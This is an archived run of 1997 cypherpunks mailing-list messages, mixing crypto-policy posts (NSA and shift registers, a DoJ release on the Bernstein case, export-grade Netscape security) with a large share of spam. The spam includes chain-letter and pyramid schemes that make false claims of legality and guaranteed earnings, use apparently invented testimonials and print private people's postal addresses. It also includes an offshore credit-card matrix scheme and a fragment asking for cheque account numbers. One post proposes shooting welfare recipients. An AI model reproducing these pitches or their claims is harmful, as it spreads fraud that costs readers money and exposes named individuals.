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left after we pay the bills. THIS CAN DO IT FOR YOU!!!! 
 
HERE ARE THE DETAILS
 
You only send 25 copies (not 200 or more as in
other programs). You should send them to PEOPLE WHO
SEND YOU THEIR PROGRAM, because they are already
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Even if you are already in a program, continue,
stay with it, but do yourself a favor and 

DO THIS ONE as well.  RIGHT NOW!!! 

It is simple and takes a very small investment, not
hundreds of dollars. It will pay you before your
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Follow the simple instructions, and in TWO WEEKS,
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SPEED and HIGH PROFIT POTENTIAL. We are not even
figuring a 50% response rate! That would be a
$10,000 return. REALLY!  So let's all keep it going,
and help each other in these tough times.
 
1.  On a blank sheet of paper, write down 
    "DO UNTO OTHERS AS YOU WOULD HAVE THEM DO UNTO YOU"
    " HERE IS YOUR GIFT"
     clearly and fold it around a FIVE DOLLAR BILL. Send
     this to the FIRST NAME on the list.
     ONLY THE FIRST PERSON ON THE LIST GETS YOUR
     FIVE DOLLAR GIFT.
 
2.  Remove the FIRST (#1) name from the list.  
     Move the other two names up and add YOUR NAME
     to the list in the third (#3) position.
 
3.   Now Email this letter with your name in the
     third position on it to 20 people or more
     who Email your their programs!  
     Send it to your friends on the net but 
     do it right away. It's so easy. 
     Don't mull it over. ONE HOUR. THAT'S IT!
 
THERE IS NO MORE TO DO. When your name reaches 
the first position in a few  hours (!), 
it will be your turn to collect your gifts.  
The gifts will be sent to you by over 1500 
to 2000 people like yourself who are willing to
invest $5.00 and an hour to receive $7,000 in cash.
Your entire investment is the $5.00 you sent to 
name #1.  That's all!!  There could be $7,000 in
$5.00 bills in your mailbox within two weeks.
CONSIDER THAT!!!!!
 
CAN I DO IT AGAIN?    OF COURSE......
 
Some people may want only to send this letter 
to friends in their news groups while others 
may choose to reply to all Internet offers 
via e-mail with THIS LETTER.  
That's fine: you can if you want.  
THINK ABOUT THAT!!!  The sky really is the limit
with this unique "GIFTING CLUB"! 50%!
 
Not interested?  C'mon!  Isn't the prospect of
an easy $7,000 to $10,000 in
TWO WEEKS worth alittle experimentation?  
One hour of your time and $5.00.
Hmmmm!!!
 
ACT FAST AND GET MONEY FAST!!!!!
 
HONESTY AND INTEGRITY MAKE THIS PLAN WORK. 
COPY THE NAMES CAREFULLY AND SEND $5.00 
TO THE FIRST NAME TODAY.
 
DO UNTO OTHERS, AS YOU WOULD HAVE OTHERS DO UNTO YOU.
PEOPLE HELPING OTHER PEOPLE.

   #1         David Ciup
	3745 Glendon Ave.#101
	Los Angeles, CA 90034-6220
	USA

   #2	Shane Pye
	Box 64
	Danville WA
	99121-0064

   #3         Harold W. Elledge
	P.O. Box 429
	Bloomfield, NM  87413

Pretty wild world these days, eh !!
  
"Good Luck" !!
---------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: catalog@enforcement.net
Date: Tue, 26 Aug 1997 15:46:49 -0700 (PDT)
To: InternetUser@the.net
Subject: Law Enforcement Products, Badges, Patches and ID Products
Message-ID: <199708261335.BUG5354@enforcement.net>
MIME-Version: 1.0
Content-Type: text/plain


Free Catalog

NIC Law Enforcement Supply
http://www.nic-inc.com


Bail Enforcement / Fugitive Recovery Agent 
Private Investigators
Security Companys

Law Enforcement Novelity and collectors items.
KGB, CIA & Military Novelity & Collectors Items.

Custom ID and Camoflouge ID products.

Badges, Patches,Hats, Shirts, ID Products, Novelities. 

Weapons books, Training books, Novelity books

http://www.nic-inc.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rab@stallion.oz.au
Date: Mon, 25 Aug 1997 22:59:47 -0700 (PDT)
To: dlv@bwalk.dm.com
Subject: RE: Mathematics > NSA + GCHQ
Message-ID: <B1921E08F1F0D011BFE200000103803103E0EA@mallory.stallion.oz.au>
MIME-Version: 1.0
Content-Type: text/plain


This thread touches a memory of mine from 18 years ago when I was at
university.  While studying for a mathematics exam I became sidetracked
by one of Fermat's Theorems (Last? or Little?) and am convinced to this
day that I came up with an algorithm for determining if a number was
prime by a "simple" combination of shifts and logical operations.  The
beast part was that the amount of calculation was linearly related to
the number of bits in the binary representation of the number.

I only ever spent a couple of hours on it, working through it on paper,
and after the exams were finished and I went back to it I could not find
the original notes and I could not remember exactly what I had done.

However it seems like someone else has...

> ----------
> From: 	Dr.Dimitri Vulis KOTM[SMTP:dlv@bwalk.dm.com]
> Sent: 	Saturday, 23 August 1997 7:12
> To: 	cypherpunks@toad.com
> Subject: 	Re: Mathematics > NSA + GCHQ
> 
> 
> John Young <jya@pipeline.com> writes:
> 
> > Along this line:
> >
> > A few days ago we received an 8-page excerpt from "Shift Register
> > Sequences," by Solomon W. Golomb (at USC), Holden-Day, Inc.,
> > no date, with a handwritten note:
> >
> >    NSA has tried to suppress knowledge of this stuff. Nearly all NSA
> 'good'
> >    algorithms are based on this technology.
> >
> > IANAM, so would any of the mathematicians here give any credibility
> to
> > this claim? We'll scan and put the excerpt on our Web site if
> worthwhile.
> > It's composed of the book's 3 page preface and 5 pages of text and
> > diagrams of Chapter 2 on The Shift Register as a Finite State
> Machine,
> > with principal focus on de Bruijn diagrams for shift registers.
> 
> The NSA certainly did try to suppress much shift-register-related
> stuff.
> 
> The recent Sandia lawsuit is over shift register stuff.
> 
> There are increasingly persistent rumor of a fast factoring algorithm
> based on shift registers.
> 
> Therefore anything mentioning them is of interest.
> 
> But: Was there any info in the package other than the passages from
> the book?
> 
> I don't think it's a good idea to put up chunks of the book - the
> publisher
> might cry copyright infringement, and everybody probably has it
> anyway.
> 
> [I'm about to turn off this box, so I won't see any responses in a
> while.]
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,
> 14.4Kbps
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 26 Aug 1997 05:06:31 -0700 (PDT)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: heart
In-Reply-To: <Pine.SUN.3.96.970825174856.13246K-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.93.970826174756.2131C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 25 Aug 1997, Ray Arachelian wrote:

> On Mon, 25 Aug 1997, ? the platypus {aka David Formosa} wrote:

[...Realy lame aregument on my part snipped...]

What was I on when I wrote that crap!?

But I have a better example :D

I take a blood sample from our plunger wealding cop,  its the blood of a
homospapian i.e. a human.

The cop makes use of the plunger.

I take a second sample from our plunger wealding cop, its the blood of a
homospapain i.e. a human.

The cop can't become inhuman by any action thay take.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNAKL9aQK0ynCmdStAQGNrAQA3tOnIsH1VBhvnNg5BKNJIsv/1a5pKlr+
FNZAV2KNvjfzT9gSVwhw6nJ30f91mtcQbvy09jwn3bDSUoIgY17u/lN7r6RT28FR
pCB9fJ96XwGIRuqTI387EFN0dFjNrK+ICQ8NgwkY+4V4zTq6GFalwuAAObWnNX3i
czNf/yFFS4A=
=MUet
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 26 Aug 1997 05:10:33 -0700 (PDT)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708252218.RAA03502@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970826175626.2131D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 25 Aug 1997, William H. Geiger III wrote:

> In <Pine.LNX.3.93.970826024015.104C-100000@shirley>, on 08/26/97
>    at 02:42 AM, ? the Platypus {aka David Formosa}
> <dformosa@st.nepean.uws.edu.au> said:

[...]

> >No I mean what I said,  resurch indercates that welfare is
> >cheeper then law enforcement and securaty for equile amounts of reduction
> >in crimes.
> 
> Bullshit. The majority on increased crime from the Welfare leaches could
> be handled with a $200 shotgun and a $0.50 Deer Slug.

Of cause what a great soltion.

You stole from me.
*BANG*

You raped my sister
*BANG*

You smuggeled drugs.
*BANG*

You smuggled crypo.
*BANG*

You have political views that are diffrent to mine
*BANG*
*BANG*
*BANG*

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNAKM46QK0ynCmdStAQEwSQP/eTbrAcXWcdcxj+hDP4HTUdCN/PyA0CGZ
ZgdsCAEXbuuP9Ic9wwnBrf0dUXRF40MToNVo+Oy/a/07YB1jGlCt5q9jx/IRCQiW
hk5NtrXe2iTvrkU2wl/XpT7GxHrxv0vCPmQCN2G5jIaC+GCcF6/nw8nKgDMIvqHa
7Tc4RPzR4w4=
=L2tY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec McCrackin <camcc@abraxis.com>
Date: Tue, 26 Aug 1997 14:57:58 -0700 (PDT)
To: <aba@dcs.ex.ac.uk>
Subject: Need this? Why not?
Message-ID: <3.0.2.32.19970826180010.00812c20@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


::
Request-Remailing-To: <aba@dcs.ex.ac.uk>

Adam,

Quoted from PGP Users mail:

Check on the pgp-users web page 
(http://pgp.rivertown.net) for information on all types of remailers, both 
under pgp-links and remailer-info.

BTW did you see that shit-for-brains Toto has been posting (intentionally?) misinformation on the "CC: Trojan" effort. I seen he has dragged you into the light--going so far as to suggest you be fucked to death by his succubus crytotart. He screwed up and posted a message to me to the list!

He claims to be "field testing" the CC: machine and rerouting mail. Too much booze in my opinion.

"Bad, mad, and dangerous to know."

XO

Alec






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: brad@yielding.com
Date: Tue, 26 Aug 1997 20:24:23 -0700 (PDT)
To: 7584758@094856.com
Subject: Broadcast Email Friendly Mailing & Web Hosting
Message-ID: <1873645398.3647564@86756476.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
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You NEED to be able to market your products
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Numbers at Bottom of Check(read from left to right, please indicate 
blank spaces with a space:
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</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bob Kohn <kohn@pgp.com>
Date: Tue, 26 Aug 1997 19:42:38 -0700 (PDT)
To: John Gilmore <gnu@toad.com>
Subject: Re: Crypto Export Restrictions are Unconstitutional
In-Reply-To: <199708261734.KAA06596@toad.com>
Message-ID: <3.0.2.32.19970826192502.0386b1e4@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/enriched

Nice articles on C/Net

http://www.news.com/News/Item/0,4,13716,00.html
http://www.news.com/News/Item/0,4,13745,00.html

and in other news . . . .

http://www.news.com/News/Item/0,4,13760,00.html  !!!

Bob





Robert H. Kohn
Vice President, Business Development
PRETTY GOOD PRIVACY, INC.
2121 S. El Camino Real, 9th Floor
San Mateo, California 94403
Direct: (415) 524-6220
Cellular: (415) 297-6527
Main: (415) 572-0430
Fax: (415) 572-1932
kohn@pgp.com
PGP Home Page: http://www.pgp.com
Personal Home page: http://www.kohnmusic.com/people/bkohn.html

"If all the personal computers in the world - ~260 million computers - were put to work on a single PGP-encrypted message, it would still take an estimated 12 million times the age of the universe, on average, to break a single message."
-- William Crowell, Deputy Director of the National Security Agency, 
testifying before the U.S. Congress on March 20, 1997


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Karen@aol.com
Date: Tue, 26 Aug 1997 17:30:47 -0700 (PDT)
To: hall@juno.com
Subject: Hi!
Message-ID: <687905688220Tyy93756@AOL.com>
MIME-Version: 1.0
Content-Type: text/plain


Ladies & Gents.

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Once we receive your application, Our staff will get to work on it right away.  You can be in a new relationship in as little as one week.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 26 Aug 1997 19:57:37 -0700 (PDT)
To: bernstein-announce
Subject: DoJ press release on Bernstein case
Message-ID: <199708270251.TAA15101@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded-by: Shari Steele <ssteele@eff.org>

Department of Justice

For Immediate Release
Tuesday, August 26, 1997

CIV
(202) 616-2777
TDD (202) 514-1888

JUSTICE DEPARTMENT STILL REVIEWING DISTRICT COURT DECISION ON
EXPORT CONTROLS ON ENCRYPTION SOFTWARE

WASHINGTON, D.C. -- The Justice Department said today it is considering 
what further legal measures it will take following yesterday's ruling by 
the U.S. District Court in San Francisco that certain aspects of the 
government's regulations on the export of encryption software are 
unconstitutional.  Another federal court upheld the export controls on 
encryption software.

The Administration is committed to promoting the legitimate use of 
encryption.  Through encryption--or the coding of messages--businesses 
can protect trade secrets, hospitals can safeguard medical records, and 
individuals can be assured that personal messages on the information 
superhighway remain private.

But, as President Clinton stated upon issuing an Executive Order on this 
subject on November 15, 1996, the use of encryption products by 
unfriendly parties outside the United States can jeopardize the foreign 
policy and national security interests of the United States, and public 
safety of U.S. citizens.

Judicial proceedings in Bernstein v. Department of State are not yet 
concluded, and the decision governs only that case.  In March 1996, in 
another pending case in Washington, D.C., Karn v. Department of State, 
the District Court ruled that export controls on encryption software are 
constitutional under the First Amendment and serve important interests 
of the United States.  That case is still pending to consider export 
controls on encryption now administered by the Commerce Department.

Until this issue is resolved, export controls on encryption software 
remain in place.  Individuals or companies wishing to export encryption 
software by any means must continue to adhere to applicable export 
licensing controls on such software before exporting it abroad.

###

97-351




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: primestar@home-business.net
Date: Tue, 26 Aug 1997 21:33:57 -0700 (PDT)
To: InternetUser@the.net
Subject: You can take advantage of the biggest Technology shift in History
Message-ID: <199708262228.RDQ5650@home-business.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#c0c0c0"><FONT  COLOR="#000000" SIZE=5><B>Ride the Digital Satellite Wave to Success!!!<FONT  COLOR="#000000" SIZE=4><I>
</I>
<FONT  COLOR="#000000" SIZE=3>You can take advantage of the biggest Technology shift in History and create 
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<FONT  COLOR="#ff0000" SIZE=3>For the first time in history the Average Person can profit from TV!</FONT><FONT  COLOR="#000000" SIZE=4>
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<FONT  COLOR="#000000" SIZE=4>20,000 People a Day are Switching to Digital Satellite TV!
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<FONT  COLOR="#000000" SIZE=4>



<B>



<FONT  COLOR="#000000" SIZE=3></B>










<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Tue, 26 Aug 1997 05:16:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Netscape Crypto
Message-ID: <Pine.SOL.3.91.970826221440.2575A-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



Does anybody know how strong the export netscape crypto stuff is ??

Is the stuff only 40 bit crypto for export ??

A friend asked me about the secure credit stuff and if netscape was 
secure for credit cards ?? 

So is the export copy secure ?? I presuem the non-export wouldn't be to bad.

Jason 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: guaranteedcredit@aol.com
Date: Thu, 28 Aug 1997 10:17:23 -0700 (PDT)
To: creditforyou@moneymoney.com
Subject: $5000 of Credit GUARANTEED - NO CREDIT CHECK/NO SSN REQUIRED
Message-ID: <3400A716DD1@aol.com>
MIME-Version: 1.0
Content-Type: text/plain


If not interested, then please delete this message.

$5000 WORTH OF CREDIT GUARANTEED!!
 * You Receive 2 Major Offshore Credit Cards!
 * A total of $5,000 worth of Credit @ 4.95% APR AND...
 * (optional) $10,000 - $15,000 Line of Credit (5.95% APR)!!!
 * Line of Credit could expand after 6 months to $25,000-$100,000!!!
 * NO Credit Check or Income Verification!
 * NO Social Security Number Required!
 * NO Deposits or Collateral Funds (Unsecured)!!
 * Bad Credit, No Credit, Bankruptcy, NO PROBLEM!!!
 * 3 x 6 forced matrix could earn you $6,941 (or more) per month!!
 * Complete Financial Privacy!
 * You will receive a $25 BONUS CHECK for every person that you personally sponsor.  PAID WEEKLY!!!
 * Matrix participants will receive monthly commissions for all participants in your downline.

IT'S EASY TO APPLY!
Simply email to our autoresponder: offshorecard1@answerme.com and complete the Request Form with a payment in international money order of only $100.00.

When you choose us to help you get an Offshore Card you're automatically put into a 3 x 6 forced matrix (forced meaning that if you fill one level, every person that signed up under your automatically goes on to fill your next level, and so on) could earn you $6941.00 per month! You will be paying $25 per month in dues to the club for services rendered. This $25 will be DEBITED EACH MONTH from your account, and will allow you to receive commission checks for the banking activities of every person in your downline!
Matrix participants are recruited through a network of distributors worldwide. Participants earn monthly commissions on the dues ($25) paid by every member in good standing under them in a 3x6 forced matrix.

Monthly commission schedule is as follows:  
Level 1 - 0% ($1.25) times 3 referrals on this level...[3x$0]..........$0.00
Level 2 - 10% ($2.50) times 9 referrals on this level....[9x$5].......$22.50 
Level 3 - 5% ($1.25) times 27 referrals on this level....[27x$1.25].$33.75
Level 4 - 10% ($2.50) times 81 referrals on this level..[81x$2.50]..$202.50
Level 5 - 20% ($5.00) times 243 referrals on this level.[243x$5.00].$1215.00
Level 6 - 30% ($7.50) times 729 referrals on this level.[729x$7.50].$5467.00
Total: $6941.25 Per Month!!
(referrals are the number of people underneath you in the matrix; a combination of the people you refer, and the people they refer, etc.)

All the money earned as a result of matrix participation is deposited AS A PAYMENT to the member's credit card account! If their commissions exceed the minimum monthly payment, no further payments are required that month.  (i.e. enroll 3 people in a month and you will more than likely have covered your minimum payment for anything you charge that month, just from the enrollee's bonuses! Develop a large downline, and your entire monthly charges could be ZEROED OUT each month!), or better yet, you will receive $6941.00 CREDIT in your account!!  

NO REPORTING OF YOUR CARD ACTIVITY TO CREDIT BUREAUS: Since these cards are not issued through the North American banking institutions and credit reporting systems, the existence and details of your account activity are not disclosed to government agencies or credit bureaus.

ASSET PROTECTION: Your card deposits are virtually unreachable by creditors.

PRESTIGE: Impress your friends and business clients with your card issued by an offshore bank of international reputation.

Matrix participants agree to pay $300.00 per annum for services rendered by our club. This amount is charged to your credit card in 12 monthly installments of $25.00 each, and is then re-distributed among active Matrix Participants according to the above schedule.

For an application & FAQ, email our autoresponder at: offshorecard1@answerme.com

P.S. - EXTRA OFFER - If you'd like information on obtaining 2 MORE Guaranteed Cards (same amount of credit & opportunity to earn money), please email application1@answerme.com and we'll send off the applications to you ASAP!

Thank you for your time.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: noegu@bizproplus.com (The Easiest Way to Make Money With Your Computer)
Date: Wed, 27 Aug 1997 02:40:00 -0700 (PDT)
To: you@yourplace.com
Subject: Introducing Goldrush Stealth Mailer -- Plus 40 Million Prospects!
Message-ID: <199708274027BAA17053@199702161035.GAA08056@bizproplus..worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



	**************************************************
	*******HOW TO MAKE MONEY WITH YOUR COMPUTER*******
	**************************************************

	Did you know that 50 to 65% of ALL goods and services are
expected to be sold through multi-level methods by the year 2000?
This is a MULTI-BILLION DOLLAR industry and of the 500,000 million-
aires in the U.S., 20% (100,000) made their fortune in MLM in the
LAST SEVEN YEARS.  Statistics also show that 45 people become
millionaires EVERY DAY through multi-level marketing!

	Would YOU like to get a piece of the pie?  NOW YOU CAN!
With this HOT, NEW money-generating program you can use current
technologies to achieve FINANCIAL FREEDOM!  Electronic Multi-
Level Marketing is taking the internet by storm, leaving the OLD
MLM systems behind!  JOIN THIS PROGRAM NOW, before YOU get left
behind too!  IT'S VERY SIMPLE TO DO!  ANYONE can be SUCCESSFUL
with this program!  As you read this entire program thoroughly,
keep in mind that APPROXIMATELY 50,000 NEW people join the internet
community EVERY SINGLE MONTH!  

	You are looking at the most profitable and unique program
you may ever see.  It has demonstrated and proven ability to generate
large sums of money.  This program is showing fantastic appeal with a
huge and ever growing population which needs additional income.

	This is a legitimate money-making opportunity.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house, except to get the mail.  
If you believe that some day you will get that lucky break that you
have been waiting for, THIS IS IT!  Simply follow the easy instructions,
and your dream will come true!  This electronic multi-level marketing
program works perfectly...100% EVERY TIME!

	Thousands of people have used this program to raise capital to
start their own business, pay off debts, buy homes, cars, etc., even
retire!  This is your chance, so don't pass it up.

IT WILL WORK FOR YOU, if you carefully follow the instructions and
apply these next four points:

1.  INSIGHT:  It is necessary to see the GREAT possibilities that this
	      marketing program contains.  Read it several times, then 
	      later read it again!  Calculate the numbers for yourself;
	      you will see the amazing results that can be obtained.

2.  INVESTMENT:  Not in anyone else, but yourself.  Every endeavor which
		 produces a profit requires some degree of investment,
		 be it time, money, resources, etc.  For the potential
		 gain that can come to you, this investment is quite
		 insignificant.

3.  APPLICATION:  There is no such thing as a "FREE LUNCH".  Even this
		  opportunity requires some effort and time.  Every
		  successful venture does.

4.  PATIENCE:  After you have accomplished the steps described, the
	       program requires a little time before showing a good
	       response.  As it enters the 1st, 2nd, 3rd, and finally
	       the 4th level of response, there is a time element that
	       to some could be a bit aggravating without giving proper
	       thought to HOW the program works, and it does work!  You
	       must allow 20 to 90 days...so be patient!  "ALL THINGS
	       COME TO THOSE WHO WAIT!
	

WHAT ARE SOME OF THE REASONS A PERSON MIGHT NOT JOIN THIS PROGRAM NOW?

Here are a few:
1.  Some believe they can never make big money with anything.
2.  Some believe they will be ridiculed for trying.
3.  Some must be driven, because they can start nothing by, or for
    themselves.
4.  Some are plain lazy!
5.  A few think they will be cheated out of a few dollars.

	What could be your reason for not joining now?
		The system WORKS, if you DO it.

	You have right here in front of you a tried and proven method
to get all of the money you will ever need or want.  If you don't take
the next step you will never get the first dollar.  DO IT NOW!


OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

Basically, this is what we do:

	We sell thousands of people a product for $5.00 that costs us
next to nothing to produce and e-mail.  As with all multi-level 
businesses, we build our business by recruiting new partners and selling
our products.  Every state in the U.S. allows you to recruit new multi-
level business online (with your computer).

	The product in this program is a series of four business and 
financial reports.  Each $5.00 order you recieve by "snail mail" will
include the e-mail address of the sender.  To fill each order, you
simply e-mail the product to the buyer.  THAT'S IT!...the $5.00 is
yours!  This is the GREATEST electronic multi-level marketing business
anywhere!

FOLLOW THE INSTRUCTIONS EXACTLY!
Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
So go for it.  Remember the 4 points and we'll see YOU at the top!


	******* I  N  S  T  R  U  C  T  I  O  N  S *******

This is what you MUST do:

1.  Order all four reports listed and numbered from the list below.
    For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR
    RETURN POSTAL ADDRESS (incase of a problem) to each person listed.
    When you order, make sure you request each SPECIFIC report.  You
    will need all four reports, because you will be saving them on
    your computer and reselling them.

2.  IMPORTANT--DO NOT alter the names, or their sequence other than
    instructed in this program!  

    Replace the name and address under REPORT #1 with yours, moving
    the one that was there down to REPORT #2.  Move the name and
    address under REPORT #2 to REPORT #3.  Move the name and address
    under REPORT #3 to REPORT #4.  The name and address that was under
    REPORT #4 is dropped off the list and is NO DOUBT on the way to
    the bank.

    When doing this, please make certain you copy everyone's name and
    address ACCURATELY!!!  Also, DO NOT move the Report/Product
    positions!

3.  Take this entire program text, including the corrected names list,
    and save it on your computer.

4.  Now you're ready to start a massive advertising campaign on the
    WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
    but there are HUNDREDS of FREE places to advertise also.  Another
    avenue which you could use is e-mail mailing lists.  You can buy
    these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
    AS SOON AS YOU CAN.


	HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

Let's say you decide to start small just to see how it goes.  Assume
your goal is to get 10 people to participate on your first level.
(Placing a lot of FREE ads on the internet could EASILY get a better
response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION
gets ONLY 10 downline members.  Follow this example for the STAGGERING
results below.

1st level--your 10 members with $5		        $50
2nd level--10 members from those 10 ($5 x 100)  	$500
3rd level--10 members from those 100 ($5 x 1,000)	$5,000
4th level--10 members from those 1,000 ($5 x 10,000)	$50,000
				THIS TOTALS-----------> $55,550

Remember friends, this is assuming that the people who participate
only recruit 10 people each.  Dare to think for a moment what would
happen if everyone got 20 people to participate!  Some people get
100's of recruits!  THINK ABOUT IT!

REMEMBER:  Approx. 50,000 new people get online monthly!


		    ORDER YOUR REPORTS NOW!!!

Always send YOUR E-MAIL ADDRESS and RETURN POSTAL ADDRESS (incase of any
problems) with $5 CASH (concealed) in your order for each report.  Order
each report by NAME and NUMBER.


REPORT #1:  "MARKETING YOUR BUSINESS ON-LINE"

		Order this report from:	Ray Ford                 
		                        P.O. Box 80742 
                                        Baton Rouge, LA 70808 USA

REPORT #2  "ADVERTISE FREE ON THE INTERNET"

		Order this report from:  Randy Head
		                         P.O. BOX 402
                                         Maryville, MO 64468 USA
                 
REPORT #3  "A SUPER MARKETING STRATEGY"

		Order this report from:  Paul Bilek
                                         P.O. BOX 1150
		                         Harrow, Ontario N0R 1G0 Canada

                    

REPORT #4  "POWERFUL MARKETING TOOLS"

		Order this report from:  Michael Cline
		                         3401 N. 56th St.
					 Phoenix, Arizona 85018 USA
                 


		*******TIPS FOR SUCCESS*******

TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY,
so you will have them when the orders start coming in because:
When you recieve a $5 order, you MUST send out the requested product/
report to comply with the U.S. Postal & Lottery Laws, Title 18, 
Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code, 
also Code of Federal Regs. vol. 16, Sections 255 and 436, which
state that "a product or service must be exchanged for money recieved."

*  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECIEVE.

*  Be patient and persistent with this program.  If you follow the
   instructions exactly the results WILL undoubtedly be SUCCESS!

*  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


		*******YOUR SUCCESS GUIDELINE*******

	The check point that guarantees your success is simply this:
You MUST recieve 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If
you don't within two weeks, advertise more and send out more programs
until you do.  Then, a couple of weeks later you should recieve at
least 100 orders for REPORT #2.  If you don't, advertise more and send
out more programs until you do.  Once you have recieved 100, or more
orders for REPORT #2, YOU CAN RELAX, because you will be on your way
to the BANK!  -OR-  You can DOUBLE your efforts!

REMEMBER:  Everytime your name is moved down on the list you are in
	   front of a DIFFERENT report, so you can KEEP TRACK of
	   your PROGRESS by what report people are ordering from you.
	   IT'S THAT EASY!!!

NOTE:  IF YOU NEED HELP with starting a business, registering a 
       business name, how income tax is handled, etc., contact
       your local office of the Small Business Administration
       (a Federal agency) for free help and answers to questions.
       Also, the Internal Revenue Service offers free help via
       telephone and free seminars about business taxes.



	******* T  E  S  T  I  M  O  N  I  A  L  S *******

	This program does work, but you must follow it EXACTLY!
Especially the rule of not trying to place your name in a different
position, it won't work, you'll lose a lot of money.  I'm living
proof that it works.  It really is a great opportunity to make
relatively easy money, with little cost to you.  If you do choose to
participate, follow the program exactly, and you'll be on your way
to financial security.  If you are a fellow Christian and are in
financial trouble like I was, consider this a sign.  I DID!  
					Good Luck & God Bless You,
					Sincerely, Chris Johnson

P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks
like piled up on the kitchen table?...IT'S AWESOME!

	My name is Frank.  My wife Doris and I live in Bel-Air, MD.
I am a cost accountant with a major U.S. Corporation and I make
pretty good money.  When I recieved the program I grumbled to Doris
about recieving "junk mail"!  I made fun of the whole thing, spouting
my knowledge of the population and percentages involved.  I "knew" it
wouldn't work.  Doris totally ignored my supposed intelligence and
jumped in with both feet.  I made merciless fun of her, and was ready
to lay the old "I told you so" on her when the thing didn't work...
well, the laugh was on me!  Within two weeks she had recieved over 50
responses.  Within 45 days she had recieved over $147,200 in $5 bills!
I was stunned.  I was sure that I had it all figured and that it
wouldn't work...I AM a believer now.  I have joined Doris in her "little"
hobby.  I did have seven more years until retirement, but I think of
the "rat race" and it's not for me...We owe it all to MLM.
					Frank T., Bel-Air, MD

	I just want to pass along my best wishes and encouragement
to you.  Any doubts you have will vanish when your first orders come
in.  I even checked with the U.S. Post Office to verify that the plan
was legal.  It definitely is!  IT WORKS!!!
					Paul Johnson, Raleigh, NC

	This is the only realistic money-making offer I've ever 
recieved.  I participated because this plan truly makes sense.
I was surprised when the $5.00 bills started filling my mail box.
By the time it tapered off I had recieved over 8,000 orders with
over $40,000 in cash.  Dozens of people have sent warm personal
notes too, sharing the news of their good fortunes!  It's been
WONDERFUL.
					Carl Winslow Tulsa, OK

	The main reason for this letter is to convince you that this
system is honest, lawful, extremely profitable, and is a way to get
a large amount of money in a short time.  I was approached several
times before I checked this out.  I joined just to see what one could
expect in return for the minimal effort and money required.  Initially
I let no one in the organization know that I was an attorney and, to my
astonishment, I recieved $36,470.00 in the first 14 weeks, with money
still coming in.
				Sincerely yours, Phillip A. Brown

	This plan works like GANG-BUSTERS!!!  So far I have had 
9,735 total orders...OVER $48,000!!!  I hope I have sparked your
own excitement, if you follow the program exactly, you could have
the same success I have, if not better.  Your success is right around
the corner, but you must do a little work.
